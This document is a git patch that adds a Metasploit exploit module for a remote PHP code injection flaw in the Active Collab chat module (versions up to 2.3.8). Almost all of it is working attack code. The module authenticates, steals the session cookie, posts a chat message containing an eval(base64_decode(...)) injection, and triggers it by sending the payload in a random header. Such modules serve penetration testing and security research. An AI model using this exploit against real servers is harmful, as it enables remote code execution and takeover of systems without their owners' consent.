From 964a6af4238366f75cf7c2841b709dcfca73ea0e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 19 May 2012 02:06:30 -0500 Subject: [PATCH] Add Active Collab chat module PHP injection exploit, by mr_me --- .../exploits/multi/http/activecollab_chat.rb | 146 ++++++++++++++++++ 1 file changed, 146 insertions(+) create mode 100644 modules/exploits/multi/http/activecollab_chat.rb diff --git a/modules/exploits/multi/http/activecollab_chat.rb b/modules/exploits/multi/http/activecollab_chat.rb new file mode 100644 index 0000000000..71ba2da2ff --- /dev/null +++ b/modules/exploits/multi/http/activecollab_chat.rb @@ -0,0 +1,146 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit', + 'Description' => %q{ + This module exploits an arbitrary code injection vulnerability in the chat module + that is part of Active Collab by abusing a preg_replace() using the /e modifier and + its replacement string using double quotes. The vulnerable function can be found in + activecollab/application/modules/chat/functions/html_to_text.php. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'mr_me ', # vuln discovery & msf module + ], + 'References' => + [ + ['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'], + ], + 'Privileged' => false, + 'Payload' => + { + 'Keys' => ['php'], + 'Space' => 4000, + 'DisableNops' => true, + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['Automatic',{}]], + 'DisclosureDate' => 'May 30 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]), + OptString.new('USER',[true, "The username (e-mail) to authenticate with"]), + OptString.new('PASS',[true, "The password to authenticate with"]) + ],self.class) + end + + def check + + login_path = "public/index.php?path_info=login&re_route=homepage" + uri = datastore['URI'] + uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}" + + cms = send_request_raw({'uri' => uri}, 25) + + uri = datastore['URI'] + uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/' + + chat = send_request_raw({'uri' => uri}, 25) + + # cant detect the version here + if (cms and cms.body =~ /powered by activeCollab/) + # detect the chat module + if (chat and chat.code == 200) + return Exploit::CheckCode::Vulnerable + end + end + return Exploit::CheckCode::Safe + end + + def exploit + user = datastore['USER'] + pass = datastore['PASS'] + p = Rex::Text.encode_base64(payload.encoded) + header = rand_text_alpha_upper(3) + login_uri = datastore['URI'] + login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login' + + # login + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => login_uri, + 'vars_post' => + { + 'login[email]' => user, + 'login[password]' => pass, + 'submitted' => "submitted", + } + }, 40) + + # response handling + if res.code == 302 + if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/) + acsession = $1 + end + elsif res.body =~ /Failed to log you in/ + print_error("Could not login to the target application, check your credentials") + elsif res.code != 200 or res.code != 302 + print_error("Server returned a failed status code: (#{res.code})") + end + + # injection + iuri = datastore['URI'] + iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php' + iuri << "?path_info=chat/add_message&async=1" + phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}" + injection = "\");#{phpkode}" + cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}" + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => iuri, + 'headers' => + { + 'cookie' => cookies + }, + 'vars_post' => + { + 'submitted' => "submitted", + 'message[message_text]' => injection, + 'message[chat_id]' => "1", + 'message[posted_to_user_id]' => "all" + } + }, 25) + + euri = datastore['URI'] + euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php' + euri << "?path_info=/chat/history/1" + + # execution + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => euri, + 'headers' => + { + header => p, + 'cookie' => cookies + } + }) + end +end